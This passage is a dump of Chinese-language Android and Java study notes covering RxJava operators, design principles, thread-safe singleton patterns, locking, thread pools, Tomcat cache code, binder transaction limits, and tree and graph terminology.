you\"）依次取其hashCode，在利用Observable.just将转换之后的int类型的值在发射出来。map只是单穿的转换了数据类型，而flapMap是转换成了新的Observable了，这在开发过程中遇到嵌套网络请求的时候十分方便。\n  \n  \n 13. 过滤filter\n \n  对发射的数据做一个限制，只有满足条件的数据才会被发射\n  \n      \n      Observable.just(\"Hello\", \"RxJava\", \"Nice to meet you\")\n              .filter(new Func1<String, Boolean>() {\n                  @Override\n                  public Boolean call(String s) {\n                      //这里的显示条件是s的长度大于5，而Hello的长度刚好是5\n                      //所以不能满足条件\n                      return s.length() > 5;\n                  }\n              })\n              .subscribe(new Action1<String>() {\n                  @Override\n                  public void call(String s) {\n                      System.out.println(\"onNext--> \" + s);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n      onNext--> RxJava\n      onNext--> Nice to meet you\n      onComplete\n 14. take 只发射前N项的数据（takeLast与take想反，只取最后N项数据）\n \n     \n      Observable.just(\"Hello\", \"RxJava\", \"Nice to meet you\")\n              .take(2)\n              //.taktLast(2)\n              .subscribe(new Action1<String>() {\n                  @Override\n                  public void call(String s) {\n                      System.out.println(\"onNext--> \" + s);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n          }\n      onNext--> Hello\n      onNext--> RxJava\n      onComplete\n      \n15. skip  发射数据时忽略前N项数据（skpiLast忽略后N项数据）\n      \n      \n      Observable.just(\"Hello\", \"RxJava\", \"Nice to meet you\")\n              .skip(2)\n              //.skipLast(2)\n              .subscribe(new Action1<String>() {\n                  @Override\n                  public void call(String s) {\n                      System.out.println(\"onNext--> \" + s);\n                  }\n             }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n          }\n      onNext--> Nice to meet you\n      onComplete\n      \n      \n 16. elementAt\n \n  获取原数据的第N项数据作为唯一的数据发射出去（elementAtOrDefault会在index超出范围时，给出一个默认值发射出来）\n      \n      \n      Observable.just(\"Hello\", \"RxJava\", \"Nice to meet you\")\n              .elementAtOrDefault(1, \"Great\")\n              .subscribe(new Action1<String>() {\n                  @Override\n                  public void call(String s) {\n                      System.out.println(\"onNext--> \" + s);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n      onNext--> RxJava\n      onComplete\n      \n 17. distinct  过滤掉重复项\n \n \n      Observable.just(\"Hello\", \"Hello\", \"Hello\", \"RxJava\", \"Nice to meet you\")\n              .distinct()\n              .subscribe(new Action1<String>() {\n                  @Override\n                  public void call(String s) {\n                      System.out.println(\"onNext--> \" + s);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n      onNext--> Hello\n      onNext--> RxJava\n      onNext--> Nice to meet you\n      onComplete\n      \n 18.组合 startWith 在发射一组数据之前先发射另一组数据\n \n \n      Observable.just(\"Hello\", \"RxJava\", \"Nice to meet you\")\n              .startWith(\"One\", \"Two\", \"Three\")\n              .subscribe(new Action1<String>() {\n                  @Override\n                  public void call(String s) {\n                      System.out.println(\"onNext--> \" + s);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n      onNext--> One\n      onNext--> Two\n      onNext--> Three\n      onNext--> Hello\n      onNext--> RxJava\n      onNext--> Nice to meet you\n      onComplete\n      \n 19.merge  将多个Observables发射的数据合并后在发射\n \n \n      Observable.merge(Observable.just(1, 2, 3), Observable.just(4, 5),\n              Observable.just(6, 7), Observable.just(8, 9, 10))\n              .subscribe(new Action1<Integer>() {\n                  @Override\n                  public void call(Integer s) {\n                      System.out.println(\"onNext--> \" + s);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n      onNext--> 1\n      onNext--> 2\n      onNext--> 3\n      onNext--> 4\n      onNext--> 5\n      onNext--> 6\n      onNext--> 7\n      onNext--> 8\n      onNext--> 9\n      onNext--> 10\n      onComplete\n      \n 20. zip  按照自己的规则发射与发射数据项最少的相同的数据\n \n \n          Observable.zip(Observable.just(1, 8, 7), Observable.just(2, 5),\n                  Observable.just(3, 6), Observable.just(4, 9, 0), new Func4<Integer, Integer, Integer, Integer, Integer>() {\n                      @Override\n                      public Integer call(Integer integer, Integer integer2, Integer integer3, Integer integer4) {\n                          return integer < integer2 ? integer3 : integer4;\n                      }\n                  })\n                  .subscribe(new Action1<Integer>() {\n                      @Override\n                      public void call(Integer s) {\n                          System.out.println(\"onNext--> \" + s);\n                      }\n                  }, new Action1<Throwable>() {\n                      @Override\n                      public void call(Throwable throwable) {\n                          System.out.println(\"onError--> \" + throwable.getMessage());\n                      }\n                  }, new Action0() {\n                      @Override\n                      public void call() {\n                          System.out.println(\"onComplete\");\n                      }\n                  });\n          onNext--> 3\n          onNext--> 9\n          onComplete\n  通过观察以上例子可以发现我们的发射规则是如果发射的第一个数据小于第二个数则发射第三个数据，否则发射第四个数据（我们来验证一下，1确实是小于2的，随意发射的是3；8并不小于5，所以发射的是9，又因为四个发射箱，最少的之后两项，所以最后只发射了两项数据\n \n21. doOnNext()的执行在订阅者调用onNext()之前执行，做一些缓存方法\n\n\n#### map filter doOnNext等方法 执行顺序和设置的顺序一样，他们的操作都是基于上一个结果\n"
  },
  {
    "path": "docs/android/sources/seven_design_principles.md",
    "content": "#### 面向对象设计七大原则\n\n面向对象七大设计原则\n\n\n1、  开闭原则\n\n\n2、  里氏替换原则\n\n\n3、  单一职责原则\n\n\n4、  接口隔离原则\n\n\n5、  依赖倒置原则\n\n\n6、  迪米特原则\n\n\n7、组合/聚合复用原则\n\n\n\n原则一：（SRP：Single responsibility principle）单一职责原则又称单一功能原则\n\n\n\n核心：解耦和增强内聚性（高内聚，低耦合）\n\n\n\n描述：\n\n\n\n类被修改的几率很大，因此应该专注于单一的功能。如果你把多个功能放在同一个类中，功能之间就形成了关联，\n\n\n\n改变其中一个功能，有可能中止另一个功能，这时就需要新一轮的测试来避免可能出现的问题。\n\n\n\n原则二：开闭原则（OCP：Open Closed Principle）\n\n\n\n核心思想：对扩展开放，对修改关闭。即在设计一个模块的时候，应当使这个模\n\n\n\n块可以在不被修改的前提下被扩展。\n\n\n\n根据开闭原则，在设计一个软件系统模块（类，方法）的时候，应该可以在不修改原有的模块（修改关闭）的基础上，能扩展其功能（扩展开放）。\n\n\n\n扩展开放：\n\n\n\n某模块的功能是可扩展的，则该模块是扩展开放的。软件系统的功能上的可扩展性要求模块是扩展开放的。\n\n\n\n修改关闭：\n\n\n\n某模块被其他模块调用，如果该模块的源代码不允许修改，则该模块修改关闭的。软件系统的功能上的稳定性，持续性要求是修改关的。\n\n\n\n原则三：里氏替换原则（LSP：Liskov Substitution Principle）\n\n\n\n核心：\n\n\n\n1.在任何父类出现的地方都可以用他的子类来替代（子类应当可以替换父类并出现在父类能够出现的任何地方）\n\n\n\n子类必须完全实现父类的方法。在类中调用其他类是务必要使用父类或接\n\n\n\n口，如果不能使用父类或接口，则说明类的设计已经违背了LSP原则。\n\n\n\n2.子类可以有自己的个性。子类当然可以有自己的行为和外观了，也就是方\n\n\n\n法和属性\n\n\n\n3.覆盖或实现父类的方法时输入参数可以被放大。即子类可以重载父类的方法，但输入参数应比父类方法中的大，这样在子类代替父类的时候，调用的仍然是父类的方法。即以子类中方法的前置条件必须与超类中被覆盖的方法的前置条件相同或者更宽松。\n\n\n\n4.覆盖或实现父类的方法时输出结果可以被缩小。\n\n\n\n原则四：依赖倒转原则(DIP：Dependence Inversion Principle)\n\n\n\n别名：依赖倒置原则或依赖反转原则\n\n\n\n核心：要依赖于抽象，不要依赖于具体的实现\n\n\n\n1.高层模块不应该依赖低层模块，两者都应该依赖其抽象（抽象类或接口）\n\n\n\n2.抽象不应该依赖细节（具体实现）\n\n\n\n3.细节（具体实现）应该依赖抽象。\n\n\n\n三种实现方式:\n\n\n\n1.通过构造函数传递依赖对象\n\n\n\n\n\n\n\n2.通过setter方法传递依赖对象\n\n\n\n\n\n\n\n3.接口声明实现依赖对象\n\n\n\n原则五：接口分离原则(ISP：Interface Segregation Principle)\n\n\n\n核心思想：\n\n\n\n不应该强迫客户程序依赖他们不需要使用的方法。\n\n\n\n接口分离原则的意思就是：一个接口不需要提供太多的行为，一个接口应该只提供一种对外的功能，不应该把所有的操作都封装到一个接口当中.\n\n\n\n分离接口的两种实现方法：\n\n\n\n1.使用委托分离接口。（Separation through Delegation）\n\n\n\n2.使用多重继承分离接口。（Separation through Multiple Inheritance）\n\n\n\n原则六：合成复用原则（CRP：Composite Reuse Principle）\n\n\n\n核心思想：\n\n\n\n尽量使用对象组合，而不是继承来达到复用的目的。该原则就是在一个新的对象里面使用一些已有的对象，\n\n\n\n使之成为新对象的一部分：新的对象通过向这些对象的委派达到复用已有功能的目的。\n\n\n\n复用的种类：\n\n\n\n1.继承\n\n\n\n2.合成聚合\n\n\n\n注：在复用时应优先考虑使用合成聚合而不是继承\n\n\n\n原则七：迪米特原则（LOD：Law of Demeter）\n\n\n\n又叫最少知识原则\n\n\n\n核心思想：\n\n\n\n一个对象应当对其他对象有尽可能少的了解,不和陌生人说话。\n\n\n\n（类间解耦，低耦合）意思就是降低各个对象之间的耦合，提高系统的可维护性；在模块之间只通过接口来通信，\n\n\n\n而不理会模块的内部工作原理，可以使各个模块的耦合成都降到最低，促进软件的复用\n\n\n\n注：\n\n\n\n1.在类的划分上，应该创建有弱耦合的类；\n\n\n\n2.在类的结构设计上，每一个类都应当尽量降低成员的访问权限；\n\n\n\n3.在类的设计上，只要有可能，一个类应当设计成不变；\n\n\n\n4.在对其他类的引用上，一个对象对其它对象的引用应当降到最低；\n\n\n\n5.尽量降低类的访问权限；\n\n\n\n6.谨慎使用序列化功能；\n\n\n\n7.不要暴露类成员，而应该提供相应的访问器(属性)\n\n"
  },
  {
    "path": "docs/android/sources/singleInstance.md",
    "content": "## 最好的单例模式\n\n### 具备下列性质\n\n    1.线程安全\n    2.效率不能太低\n    3.支持lazy\n   \n\n### 例子1，线程不安全\n\n    public class UnsafeLazyInitialization {\n        private static Instance instance;\n        public static Instance getInstance() {\n        if (instance == null) //1：A线程执行\n            instance = new Instance(); //2：B线程执行\n            return instance;\n        }\n    }\n### 例子2，线程安全，多频调用效率极低\n\n    public class SafeLazyInitialization {\n    \n        private static Instance instance;\n    \n        public synchronized static Instance getInstance() {\n            if (instance == null)\n                instance = new Instance();\n            return instance;\n        }\n    }\n    在早期的JVM中，synchronized（甚至是无竞争的synchronized）\n    存在这巨大的性能开销。因此，人们想出了一个“聪明”的技巧：双重检查锁定（double-checked locking）\n\n### 例子3，双重检查锁定 (还是存在问题)\n\n    如果第一次检查instance不为null，那么就不需要执行下面的加锁和初始化操作。\n    因此可以大幅降低synchronized带来的性能开销\n    \n    public class DoubleCheckedLocking {                      //1\n        private static Instance instance;                    //2\n\n        public static Instance getInstance() {               //3\n            if (instance == null) {                          //4:第一次检查\n                synchronized (DoubleCheckedLocking.class) {  //5:加锁\n                    if (instance == null)                    //6:第二次检查\n                        instance = new Instance();           //7:问题的根源出在这里\n                }                                            //8\n            }                                                //9\n            return instance;                                 //10\n        }                                                    //11\n    }                                                        //12\n    \n    但这是一个错误的优化！在线程执行到第4行代码读取到instance不为null时，\n    instance引用的对象有可能还没有完成初始化。\n    \n    问题的根源\n    \n    前面的双重检查锁定示例代码的第7行（instance = new Singleton();）创建一个对象。这一行代码可以分解为如下的三行伪代码：\n    memory = allocate();   //1：分配对象的内存空间\n    ctorInstance(memory);  //2：初始化对象\n    instance = memory;     //3：设置instance指向刚分配的内存地址\n    上面三行伪代码中的2和3之间，可能会被重排序（在一些JIT编译器上，这种重排序是真实发生的，详情见参考文献1的“Out-of-order writes”部分）。2和3之间重排序之后的执行时序如下：\n    memory = allocate();   //1：分配对象的内存空间\n    instance = memory;     //3：设置instance指向刚分配的内存地址\n                           //注意，此时对象还没有被初始化！\n    ctorInstance(memory);  //2：初始化对象\n    根据《The Java Language Specification, Java SE 7 Edition》（后文简称为java语言规范），所有线程在执行java程序时必须要遵守intra-thread \n    semantics。intra-thread semantics保证重排序不会改变单线程内的程序执行结果。换句话来说，intra-thread semantics允许那些在单线程内，不会改变单线程程序执行结果的重排序。\n    上面三行伪代码的2和3之间虽然被重排序了，但这个重排序并不会违反intra-thread semantics。\n    这个重排序在没有改变单线程程序的执行结果的前提下，可以提高程序的执行性能。\n    \n### 例子4，基于volatile的双重检查锁定的解决方案，禁止重排序\n\n    public class SafeDoubleCheckedLocking {\n        private volatile static Instance instance;\n    \n        public static Instance getInstance() {\n            if (instance == null) {\n                synchronized (SafeDoubleCheckedLocking.class) {\n                    if (instance == null)\n                        instance = new Instance();//instance为volatile，现在没问题了\n                }\n            }\n            return instance;\n        }\n    }\n        \n注意，这个解决方案需要JDK5或更高版本（因为从JDK5开始使用新的JSR-133内存模型规范，这个规范增强了volatile的语义）。\n当声明对象的引用为volatile后，“问题的根源”的三行伪代码中的2和3之间的重排序，在多线程环境中将会被禁止。\n这个方案本质上是通过禁止上图中的2和3之间的重排序，来保证线程安全的延迟初始化。\n\n\n### 例子5，基于类初始化的解决方案\n\n    public class InstanceFactory {\n        private static class InstanceHolder {\n            public static Instance instance = new Instance();\n        }\n    \n        public static Instance getInstance() {\n            return InstanceHolder.instance ;  //这里将导致InstanceHolder类被初始化\n        }\n    }\n   JVM在类的初始化阶段（即在Class被加载后，且被线程使用之前），会执行类的初始化。在执行类的初始化期间，JVM会去获取一个锁。这个锁可以同步多个线程对同一个类的初始化。\n   基于这个特性，可以实现另一种线程安全的延迟初始化方案（这个方案被称之为Initialization On Demand Holder idiom）\n\n### 总结\n\n延迟初始化降低了初始化类或创建实例的开销，但增加了访问被延迟初始化的字段的开销。在大多数时候，\n正常的初始化要优于延迟初始化。如果确实需要对实例字段使用线程安全的延迟初始化，请使用上面介绍\n的基于volatile的延迟初始化的方案；如果确实需要对静态字段使用线程安全的延迟初始化，请使用上面介绍的基于类初始化的方案。"
  },
  {
    "path": "docs/android/sources/synchronized_lock.md",
    "content": "### Synchronized 与 Lock区别\n\n线程总共有5大状态，通过上面第二个知识点的介绍，理解起来就简单了。\n\n新建状态：新建线程对象，并没有调用start()方法之前\n\n就绪状态：调用start()方法之后线程就进入就绪状态，但是并不是说只要调用start()方法线程就马上变为当前线程，在变为当前线程之前都是为就绪状态。值得一提的是，线程在睡眠和挂起中恢复的时候也会进入就绪状态哦。\n\n运行状态：线程被设置为当前线程，开始执行run()方法。就是线程进入运行状态\n\n阻塞状态：线程被暂停，比如说调用sleep()方法后线程就进入阻塞状态\n\n死亡状态：线程执行结束\n\n类别\tsynchronized\tLock\n\n1. 存在层次\t\n\n    - synchronized是Java的关键字，在jvm层面上  \n    - Lock是一个类是一个API接口\n    \n2. 锁的释放\n    - synchronized以获取锁的线程执行完同步代码、释放锁 ，线程执行发生异常，jvm会让线程释放锁\n    - Lock 必须在finally中必须释放锁，不然容易造成线程死锁\n \n3. 锁状态\n    - synchronized 无法判断锁状态\n    - Lock 可以通过tryLock判断锁状态\n    \n4. 性能\t\n    - synchronized少量同步\t\n    - Lock大量同步\n    \n5. 锁类型\t\n    - synchronized可重入 不可中断 非公平\t\n    - Lock可重入 可判断 可公平（两者皆可）\n    \n\n#### 尽可能去使用synchronized而不要去使用LOCK\n\n在jdk1.6~jdk1.7的时候给synchronized做了一次优化\n\n1、线程自旋和适应性自旋 \n我们知道，java’线程其实是映射在内核之上的，线程的挂起和恢复会极大的影响开销。并且jdk官方人员发现，很多线程在等待锁的时候，在很短的一段时间就获得了锁，所以它们在线程等待的时候，并不需要把线程挂起，而是让他无目的的循环，一般设置10次。这样就避免了线程切换的开销，极大的提升了性能。 \n而适应性自旋，是赋予了自旋一种学习能力，它并不固定自旋10次一下。他可以根据它前面线程的自旋情况，从而调整它的自旋，甚至是不经过自旋而直接挂起。\n\n2、锁消除 \n什么叫锁消除呢？就是把不必要的同步在编译阶段进行移除。 \n那么有的小伙伴又迷糊了，我自己写的代码我会不知道这里要不要加锁？我加了锁就是表示这边会有同步呀？ \n并不是这样，这里所说的锁消除并不一定指代是你写的代码的锁消除，我打一个比方： \n在jdk1.5以前，我们的String字符串拼接操作其实底层是StringBuffer来实现的（这个大家可以用我前面介绍的方法，写一个简单的demo，然后查看class文件中的字节码指令就清楚了），而在jdk1.5之后，那么是用StringBuilder来拼接的。\n\n\njavap –c HelloWorld 可以查看字节码指令\n\n\n通过指令集 我们可以清晰段看到，其实synchronized映射成字节码指令就是增加来两个指令：monitorenter和monitorexit。当一条线程进行执行的遇到monitorenter指令的时候，它会去尝试获得锁，如果获得锁那么锁计数+1（为什么会加一呢，因为它是一个可重入锁，所以需要用这个锁计数判断锁的情况），如果没有获得锁，那么阻塞。当它遇到monitorexit的时候，锁计数器-1，当计数器为0，那么就释放锁。\n\n那么有的朋友看到这里就疑惑了，那图上有2个monitorexit呀？马上回答这个问题：上面我以前写的文章也有表述过，synchronized锁释放有两种机制，一种就是执行完释放；另外一种就是发送异常，虚拟机释放。图中第二个monitorexit就是发生异常时执行的流程，这就是我开头说的“会有2个流程存在“。而且，从图中我们也可以看到在第13行，有一个goto指令，也就是说如果正常运行结束会跳转到19行执行"
  },
  {
    "path": "docs/android/sources/thread_principle.md",
    "content": "### 线程池原理\n\n\n\n        /**\n         * Created by qiyue on 2018/6/14.\n         */\n        \n        public class USThreadPool {\n        \n            private Set<WorkThread> threadSet = new HashSet<>();\n        \n            private Queue<Runnable> queue = new LinkedList<>();\n        \n            private static final String TAG = USThreadPool.class.getSimpleName();\n        \n            public USThreadPool(int size){\n        \n                for (int i=0;i<size;i++){\n                    WorkThread workThread = new WorkThread();\n                    workThread.start();\n                    threadSet.add(workThread);\n                }\n            }\n        \n            public void submit(Runnable runnable){\n                queue.add(runnable);\n            }\n        \n        \n            class WorkThread extends Thread{\n                @Override\n                public void run() {\n                    super.run();\n        \n                    while (true){\n                        Log.i(TAG,\"Thread-id=\"+getId());\n                        if(!queue.isEmpty()){\n                            Log.i(TAG,\"Thread-id2=\"+getId());\n                            Runnable runnable = queue.poll();\n                            Log.i(TAG,\"Thread-id3=\"+getId());\n                            runnable.run();\n                        }\n                    }\n                }\n            }\n        }\n\n*当我们创建一个线程池大小为5的线程池时，就会有5个WorkerThread 在工作不停的重queue队列获取任务然后执行*"
  },
  {
    "path": "docs/android/sources/tomcat_cache.java",
    "content": "package org.apache.tomcat.util.collections;\n\nimport java.util.Map;\nimport java.util.WeakHashMap;\nimport java.util.concurrent.ConcurrentHashMap;\n\npublic final class ConcurrentCache<K,V> {\n\n    private final int size;\n\n    private final Map<K,V> eden;\n\n    private final Map<K,V> longterm;\n\n    public ConcurrentCache(int size) {\n        this.size = size;\n        this.eden = new ConcurrentHashMap<>(size);\n        this.longterm = new WeakHashMap<>(size);\n    }\n\n    public V get(K k) {\n        V v = this.eden.get(k);\n        if (v == null) {\n            synchronized (longterm) {\n                v = this.longterm.get(k);\n            }\n            if (v != null) {\n                this.eden.put(k, v);\n            }\n        }\n        return v;\n    }\n\n    public void put(K k, V v) {\n        if (this.eden.size() >= size) {\n            synchronized (longterm) {\n                this.longterm.putAll(this.eden);\n            }\n            this.eden.clear();\n        }\n        this.eden.put(k, v);\n    }\n}"
  },
  {
    "path": "docs/android/sources/tomcat_lru_cache.java",
    "content": "/**\n * Tomcat 6.0 Lru算法，此方式使用时还需要加线程锁，后来也被tomcat废弃了\n */\n\npublic class LRUCache {\n    /**\n     * 链表节点\n     * @author Administrator\n     *\n     */\n    class CacheNode {\n        CacheNode prev;//前一节点\n        CacheNode next;//后一节点\n        Object value;//值\n        Object key;//键\n        CacheNode() {\n        }\n    }\n\n    public LRUCache(int i) {\n        currentSize = 0;\n        cacheSize = i;\n        nodes = new Hashtable(i);//缓存容器\n    }\n\n    /**\n     * 获取缓存中对象\n     * @param key\n     * @return\n     */\n    public Object get(Object key) {\n        CacheNode node = (CacheNode) nodes.get(key);\n        if (node != null) {\n            moveToHead(node);\n            return node.value;\n        } else {\n            return null;\n        }\n    }\n\n    /**\n     * 添加缓存\n     * @param key\n     * @param value\n     */\n    public void put(Object key, Object value) {\n        CacheNode node = (CacheNode) nodes.get(key);\n\n        if (node == null) {\n            //缓存容器是否已经超过大小.\n            if (currentSize >= cacheSize) {\n                if (last != null)//将最少使用的删除\n                    nodes.remove(last.key);\n                removeLast();\n            } else {\n                currentSize++;\n            }\n\n            node = new CacheNode();\n        }\n        node.value = value;\n        node.key = key;\n        //将最新使用的节点放到链表头，表示最新使用的.\n        moveToHead(node);\n        nodes.put(key, node);\n    }\n\n    /**\n     * 将缓存删除\n     * @param key\n     * @return\n     */\n    public Object remove(Object key) {\n        CacheNode node = (CacheNode) nodes.get(key);\n        if (node != null) {\n            if (node.prev != null) {\n                node.prev.next = node.next;\n            }\n            if (node.next != null) {\n                node.next.prev = node.prev;\n            }\n            if (last == node)\n                last = node.prev;\n            if (first == node)\n                first = node.next;\n        }\n        return node;\n    }\n\n    public void clear() {\n        first = null;\n        last = null;\n    }\n\n    /**\n     * 删除链表尾部节点\n     *  表示 删除最少使用的缓存对象\n     */\n    private void removeLast() {\n        //链表尾不为空,则将链表尾指向null. 删除连表尾（删除最少使用的缓存对象）\n        if (last != null) {\n            if (last.prev != null)\n                last.prev.next = null;\n            else\n                first = null;\n            last = last.prev;\n        }\n    }\n\n    /**\n     * 移动到链表头，表示这个节点是最新使用过的\n     * @param node\n     */\n    private void moveToHead(CacheNode node) {\n        if (node == first)\n            return;\n        if (node.prev != null)\n            node.prev.next = node.next;\n        if (node.next != null)\n            node.next.prev = node.prev;\n        if (last == node)\n            last = node.prev;\n        if (first != null) {\n            node.next = first;\n            first.prev = node;\n        }\n        first = node;\n        node.prev = null;\n        if (last == null)\n            last = first;\n    }\n    private int cacheSize;\n    private Hashtable nodes;//缓存容器\n    private int currentSize;\n    private CacheNode first;//链表头\n    private CacheNode last;//链表尾\n}"
  },
  {
    "path": "docs/android/sources/transactiontoolargeexception.md",
    "content": "\n### TransactionTooLargeException解决方法\n\n报错原因就是binder不能传递超过200k的数据\n\nbinder是Android进程通信用到的，像启动一个Activity也是需要和AMS进程通信，所以如果期间通过intent传递了大数据就会报错，\n通过aidl底层也是通过binder去通信的\n\n\n解决方法：\n\n     1. 将传递的信息封装在一个静态的类中，或则封装在跳转对象的一个静态属性中，效率高，但是耦合性也高！\n\n     2. 将传递的信息做本地存储，如SP存储、数据库等，然后在跳转对象中取出来，不会提高程序的耦合性，但是效率较低。\n\n        相对于数据库而言，个人比较喜欢sp存储，因为比较简单。\n        1. 存储基本类型这个不多说\n        2. 存储实体类，首先可以使用Gson将实体转为json串(可以使用new Gson().toJson()方法)，然后进行存储，最后在跳转对象中取出再利用Gson转为实体即可(可以使用new Gson().fromJson()方法)。\n\n     3. 使用 MemoryFile 共享内存方式"
  },
  {
    "path": "docs/android/sources/tree.md",
    "content": "\n## 二叉树\n\n  每个节点不能多于2个孩子\n  \n  \n  完全二叉树：叶节点只能出现在最下层和次下层，并且最下面一层的结点都集中在该层最左边的若干位置的二叉树\n  \n  满二叉树：一个二叉树，如果每一个层的结点数都达到最大值，则这个二叉树就是满二叉树。也就是说，如果一个二叉树的层数为K，且结点总数是(2^k) -1 ，则它就是满二叉树。\n  \n## 二叉搜索树（又称二叉排序树，也称二叉查找树）\n\n  对任何节点x，其左子树中的关键字最大不超过x.key,其右子树中的关键字最小不低于x.key\n  \n  二叉搜索树的中序遍历会按顺序输出各个节点\n\n## 查找最大值，最小值\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/sources/tu.md",
    "content": "## 图\n\n##术语详解\n- 图\n   对于图G=（V,E)\n   \n   图形结构，简称“图”，是一种复杂的数据结构。图形结构中，每个结点的前驱结点数和后续结点数可以任意多个。\n   图是由顶点集合以及顶点间的关系集合组成的一种数据结构。\n   \n- 顶点(Vertex)\n    \n- 弧(Arc)  有向边：若从顶点Vi到Vj的边有方向，则称这条边为有向边，也称为弧。\n- 弧头(初始点) 若从顶点Vi到Vj的边有方向，则称Vi弧头\n- 弧尾(终结点) 若从定点Vi到Vj的边有方向，则称Vj弧尾\n- 边(Edge) 无向图的连线叫边\n- 无向图(Undigraph) 边没有方向的图称为无向图。 G=(V, {A})、0≤边≤n(n-1)/2\n    1.V是非空集合，称为顶点集。\n    2.E是V中元素构成的无序二元组的集合，称为边集。\n- 有向图(Directed graph) 边有方向的图称为有向图 G=(V, {E})、0≤弧≤n(n-1)\n\n- 无向完全图 (完全无向图) 若有n个顶点的无向图有n(n-1)/2 条边, 则此图为完全无向图。\n- 有向完全图（完全有向图）有n个顶点的有向图有n(n-1)条边, 则此图为完全有向图。\n- 稀疏图(Sparse graph) |E|远远小于|V|^2 的图，（有的书上说，当边数e<<n㏒2n时，图G称为稀疏）\n- 稠密图(Dense graph) |E|接近|V|^2 的图\n\n## 网\n\n- 网(network) 网里面对应的边是有权值的，用以表示边的某种属性比如距离等。而图的边是没有权值的\n\n- 权(weigh) 在处理有关图的实际问题时，往往有值的存在，比如公里数，运费，城市，口数以及电话部数等。一般这个值成为权值\n\n- 无向网\n\n- 有向网\n\n- 子图(Subgraph)\n\n- 邻接点(Adjacent)\n\n- 度(Degree) 图中的度：所谓顶点的度(degree)，就是指和该顶点相关联的边数\n\n- 入度(Indegree) 以某顶点为弧头，终止于该顶点的弧的数目称为该顶点的入度\n\n- 出度(Outdegree)\n\n\n- 连通 在一个无向图 G 中，若从顶点i到顶点j有路径相连（当然从j到i也一定有路径），则称i和j是连通的。\n如果 G 是有向图，那么连接i和j的路径中所有的边都必须同向。\n如果图中任意两点都是连通的，那么图被称作连通图。\n如果此图是有向图，则称为强连通图（注意：需要双向都有路径）。\n\n- 简单路径： 是一条x到y的连通路径，x和y分别是起点和终点。当x=y时， 被称为回路。如果通路  中的边两两不同，则  是一条简单通路，否则为一条复杂通路\n\n- 弱连通图：将有向图的所有的有向边替换为无向边，所得到的图称为原图的基图。如果一个有向图的基图是连通图，则有向图是弱连通图。\n\n- 连通分量：无向图 G的一个极大连通子图称为 G的一个连通分量（或连通分支）。连通图只有一个连通分量，即其自身；非连通的无向图有多个连通分量。\n生成树\n\n\n## 图的存储方式\n\n\n     1.邻接矩阵:就是二维数组，可以快速定位到指定的边，但是如果是稀疏的图，会比较浪费空间。\n\n     2.邻接表：适合稀疏图，节省空间，存储方式决定了它只能表示某个顶点的入度或者出度，不能快速定位到某一条边。\n\n     3.十字链表\n\n     4.邻接多重表\n\n     5.边集数组    \n\n\n极小连通子图\n\n有向树\n出度(Outdegree)\n\n路径(path)\n\n回路(环)\n\n简单路径\n\n简单回路（简单环）\n\n连通\n\n连通图(Connected graph)、\n\n连通分量(Connected Component)、\n\n强连通图、\n强连通分量(有向图中的极大强连通子图)、\n生成树、\n极小连通子图、\n有向树。\n\n"
  },
  {
    "path": "docs/android/sources/v4_v7_v8_v13.md",
    "content": "\n### Android-support-v4 v7 v8 v13 v17 的区别和特性说明\n\n\n  首先，你需要了解每一个 Support 包版本后缀 vX 所代表的含义。当然我相信来看博客的诸位都一定知道 Android 对于每一个版本都有一个版本号，例如2.1是7，4.0是14，5.0是21。而这里，v 之后的数字，就代表着他能够被使用的最低版本等级，之所以无法在更低版本进行使用的原因，是因为随着版本的升级，在新版本中有很多之前不支持的特性或者 API，因此如果你在老版本中使用了这些支持包，就可能会导致应用崩溃。\n\n\n\n#### 区别\n\ngoogle提供了Android Support Library package 系列的包来保证来高版本sdk开发的向下兼容性，即我们用4.x开发时，在1.6等版本上，可以使用高版本的有些特性，如Fragement,ViewPager等，下面，简单说明下这几个版本间的区别：\n\nAndroid Support v4:  这个包是为了照顾1.6及更高版本而设计的，这个包是使用最广泛的，eclipse新建工程时，都默认带有了。\n\nAndroid Support v7:  这个包是为了考虑照顾2.1及以上版本而设计的，但不包含更低，故如果不考虑1.6,我们可以采用再加上这个包，另外注意，v7是要依赖v4这个包的，即，两个得同时被包含。\nAndroid Support v13:这个包的设计是为了android 3.2及更高版本的，一般我们都不常用，平板开发中能用到。\n\n\n\n#### 特性说明\n\n- Android Support v4支持库\n\n    support-v4包算是Android对低等级的支持包。v4代表它最低支持Android1.6（API Level 4），在support-v4包中，它所拥有的类有很多，主要包含了对应用组件的支持，用户交互体验的一些工具类，一些数据网络方面的工具类。\n    \n    1、系统应用组件\n    ①、Fragment -增加了对用户界面和功能与片段的封装支持，使应用程序能够提供小型和大屏幕设备之间的调整布局（Fragment是直到Android3.0才正式进入Android框架体系的，但是Android为了低版本的兼容，因此在低版本也适配了Fragment框架）。\n   